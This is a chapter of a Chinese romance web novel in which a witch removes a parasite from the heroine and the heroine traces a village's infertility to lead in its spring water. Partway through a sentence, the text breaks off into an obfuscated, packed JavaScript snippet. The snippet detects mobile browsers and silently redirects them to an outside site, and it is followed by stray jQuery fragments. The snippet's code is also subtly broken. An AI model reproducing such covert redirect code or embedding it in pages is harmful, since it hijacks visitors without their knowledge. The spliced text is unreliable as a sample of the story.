103. 【壹零叁】恶蛊除

    祁襄头疼欲裂,撑着桌面,喉咙中挤出嘶吼:“鬼师娘娘……这便是……第二笔帐……我与你无冤无仇,为何……对我……下此毒手!”


    萧允墨见状,强撑着从步辇上站起来,跌跌撞撞走到赤娆面前,一把钳制住她的戴满各色宝石银镯的腕子,厉声喝道:“费尽心思,不过是想要个孩子,就算同你生一个,也一样不是痴傻便是早夭,你解了她身上的蛊,我便告诉你破解之法!”


    赤娆也没想到祁襄会突然失控,她甩开萧允墨,从怀中掏出一支短笛放到唇边,清脆的笛音响起,祁襄逐渐平静下来,她睁开猩红的双眼凝视她,口中轻轻喘息。


    “想要我告知寨子绝后的秘密,你还得答应我一件事……送我们下山,进达城。”


    赤娆沉思片刻道:“我夫君们对你家公子所行之事,说到底不光彩,作为补偿,我便即刻解了你身上的蛊,只是是否领你们下山,还得看你说的这法子,究竟好不好用。”


    鬼师娘娘命人将祁襄搀扶至一间摆满鬼面具的大屋,叫她坐在正中,给了她一碗碧蓝色的草药。她看见药碗中浮起一层诡异的荧光,微微蹙眉,却还是将药喝了下去。


    赤娆再次将短笛放到嘴边,吹凑起奇特的音律,笛音靡靡,在场诸人听了,心中都颇不自在。祁襄更是觉得自体内生出一股燥热,五脏六腑像被置于火上烤一般。


    见她面红耳赤,萧允墨和萧敬虞在一旁站不住,被高个子拦住:“驱除蛊虫就是这样的,夫人言出必行,你们若是上去阻挠,到时候出了岔子,可别怪我们没提醒。”


    笛声的旋律愈发繁复,在一阵似蝉翅震颤的尖锐鸣响之后,笛音骤然停歇,祁襄捂住胸口,猛地啖出一口黑血,如墨的粘稠浆液喷溅在地面,其中十数条纤细的蠕虫迅速扭动身躯。


    赤娆从手边端起一杯什么东西,浇洒在黑血之上,那些蛊虫瞬间溶于其中,化作粘液之上飘起的一股黑烟。


    祁襄撑着扶手,只觉得五内被掏空了一般,她艰难站起,回过头找寻萧允墨的身影。


    她蹒跚走到他面前,抓过他冰凉的手:“你心症又犯了?要不要紧?”


    萧允墨将她一把抱住,抚着她后背安慰道:“不要紧,没事了。”


    祁襄狠狠瞪了赤娆那几名相公一眼:“这笔账且记着,我家公子要是有个好歹,自有与你们算的时候!”


    鬼师娘娘收起竹笛,悠悠道:“祁姑娘,你的蛊既解了,不如说说看,我这寨子为何无端绝了嗣?”


    祁襄接过萧允墨递过来的锦帕,拭去嘴边的黑血,不紧不慢地反问:“咱们这一带,约莫十五年前,可曾发生过什么天灾?例如山崩、地动之类?”


    赤娆想了想,答:“十几年前……在我小时候,确实有一次很厉害的地动,半个寨子都毁了,还死了不少人……可你是如何知道的?”


    祁襄笑道:“自然是推断出来的,你们寨子喝的用的,都是这秀萼山的山泉水吧?我与公子上了一次山,找到了泉眼,你若亲自去看看,也会明白的。”


    于是,在祁襄的带领下,赤娆和她的人也上了山。萧允墨原本想跟着去,却被祁襄强行留在了寨子里,还叫他的暗卫在房门外守着,生怕又出了什么意外。萧敬虞腿上有伤,亦没跟去,他此刻与萧允墨对面而坐,兴致不高的样子。


    “你身子当真没事?”他默默喝了两杯茶,才开了口。


    萧允墨一脸轻松,从袖中摸出一瓶药来,放到小几之上:“无妨,这药是范太医替我配的,服下一刻之内必吐鲜血,实则并不伤身。”


    萧敬虞哑然失笑:“早该知道峻清不是坐以待毙之人……那你为何不早些告诉阿襄?叫她这般担忧。”


    萧允墨从八角漆盘中抓起一把果仁,怡然自得地吃起来:“谁叫她将我忘得一干二净。”


    同一时间,祁襄已经带着赤娆一行人上至般婼峰,来到上次发现的溪流源头处。她向赤娆展示了裸露的矿脉,又照上次一样将泉水焚煮了一遍,众人看着酒瓶底部析出的黑色粉末,皆是一惊。


    赤娆沉吟:“这些年,我们并非没有想到过或许是水的问题,只是铅实在不是砒霜这样的寻常毒物,用银针等法也检测不出。”


    祁襄道:“若不是我曾经见过有人用铅下毒害人,我也想不到会是这样的缘故。”


    一旁的苗医捻着胡子道:“老朽倒是听说过,民间有方子能解青金之毒,只要即刻停用山泉之水,掘几处不含铅毒的水井,应当就能解了绝嗣的困境。”


    祁襄粲然一笑:“只要你们带我们下山,我定有办法帮你们寻到解铅毒的药方。”


    赤娆陷入沉思,许久才道:“老医仙,你先回寨子里,用焚煮之法测一测咱们日常用水之中是否真的掺了铅毒,至于下山之事……祁姑娘,还容我细细思量一番。”


    回到寨子中,铅毒之事自然很快得到了验证——事实上,前日从山上下来,祁襄就已经验过寨子中的水,自然不会有错。


    祁襄回来第一时间便来瞧萧允墨,而他这时正在小榻上昼眠,就那样歪着头、倚在一堆软垫里睡着了,手里还捏着一本翻皱的兵书。


    祁襄关上门,轻手轻脚走过去,拿下他手里的书,扳动他的肩膀,正要让他躺得更舒适一些,萧允墨却醒了,他迷蒙地唤了一声“襄儿”,发现真的是她,五指骤然扣住她的后颈,仰头吻住她。


    她重心不稳栽进他怀里,被他的气息浸染,牙关被他撬开,陷入他温柔的掠夺,他在她唇上轻轻啮咬,一下复一下,如潮涌漫过礁石,林风拂动草树。


    “唔……峻清……”她讨饶着寻求呼吸的气口,短促的呼吸对他却仿佛是一种鼓舞,他不依不饶,指节禁锢着她的后脑。


    不知过了多久,他终于放开她,明亮的黑眸目光炯炯,像一头餍足的兽。


    “襄儿终于想起我来了?”


    她浑身无力,往他胸膛上绵绵打了一拳,嗔道:“我那是中了蛊,殿下不但不心疼我,反倒还苦起我来了。”


    “我还不心疼你?”萧允墨捏起她的双手,轻轻摩挲她的掌心,“你骂我狗贼,对我爱答不理,我都默默受着,怕你蛊虫发作,不舍得看你疼,我可是一声都没吭,哎,说起来,谁能心疼心疼本王呢?”


    祁襄撅着微微浮肿的两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223558|163587||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瓣唇:“知道你又犯了病,我可是心急如焚。”


    他浅笑,伸手一拽,让她完全靠到自己身上,作势又要吻下来,却被她推开。


    “那迷情散才引得殿下犯了心症,还是先不要动情了,应当修身养性才是。”


    他飞快坐起,又去捉她的手,一翻身,将她困在身体与软榻的方寸间。


    “动不动情,哪是我自己能控制的?襄儿这般诱人,叫本王如何修生养性?”


    一句话还没说完,灵巧的指尖已经挑开了她圆领袍的衣扣,然而就在此时——


    门外传来几记敲门声:“祁姑娘可在?鬼师娘娘请您前往一叙。”


    祁襄飞身坐起,又将扣子扣了回去,顺势摸了一把萧允墨的脸:“殿下好生歇着,等我回来。”


    祁襄跟着侍女来到赤娆房中,她摘下了的银冠,披散着一头青丝,比平时少了几分凌厉,却多了几分温婉。


    “祁姑娘来了?”她背对着门坐在镜前,一名侍女正在替她蓖发。


    在她身后不远处,放着一张小小的摇篮,里头躺着的婴儿脸蛋红扑扑的,见祁襄走到跟前,那小小的粉团子伸出小手,嘴里发出咿咿呀呀的奶音。


    祁襄只觉得那只小手仿佛挠在了她心中最柔软处,不禁俯身轻轻晃动摇篮,笑着逗弄起那奶娃来。


    “小娃娃,你是哥儿还是姐儿呀?”她细声细气地同那婴儿说话。


    “琪姐儿是女孩儿。”赤娆语气尽是温柔,“祁姑娘喜欢孩子?”


    “我能理解夫人的心情,我曾经也有过一个孩子……只是后来没了……”


    赤娆倒是有些吃惊:“是么?……孩子是……?”


    祁襄淡淡一笑:“是我家公子的。”


    “难怪……”赤娆从镜前起身,走到摇篮边,望着自己的孩子,满脸都是慈爱,又看了看祁襄,遗憾道,“抱歉,叫姑娘想起了伤心事。”


    祁襄摇摇头,方才那半分笑意化作悲凉:“无妨,许多年前的事了。”


    赤娆像是忽然想起了什么,皱起眉头来:“那他竟不给你个名分?”


    “夫人误会他了,他想娶我想得紧,只是我不答应。”


    “哦?”赤娆眯起眼,笑得意味深长,忽地拍了拍她的肩膀道,“如此才好,你们汉人总是对女人格外苛刻,真当了谁的夫人,反倒失了自由。他们男人可以三妻四妾,我们女人又有何不可……”


    她凑近她,语气带着怂恿:“我看呐,你就该把崔公子与他十三叔都一并收了,同我一般,尽享齐人之福。”


    祁襄脸一红,尴尬道:“我对我师兄,实在没有那般心思……”


    “心思是一回事,快活是另一回事,他们男人有什么?不过一身气力罢了。”


    “呵呵……”祁襄更觉窘迫,“我不如夫人这般……强健……我曾受过重伤,身子……不大好,着实……经不住……太大的……气力……”


    赤娆咯咯笑起来,却又很快收敛了笑颜:“行了,不逗你了,我叫姑娘来,是为了下山的事。”


    祁襄的神情也恢复了严肃:“夫人请讲,我洗耳恭听。”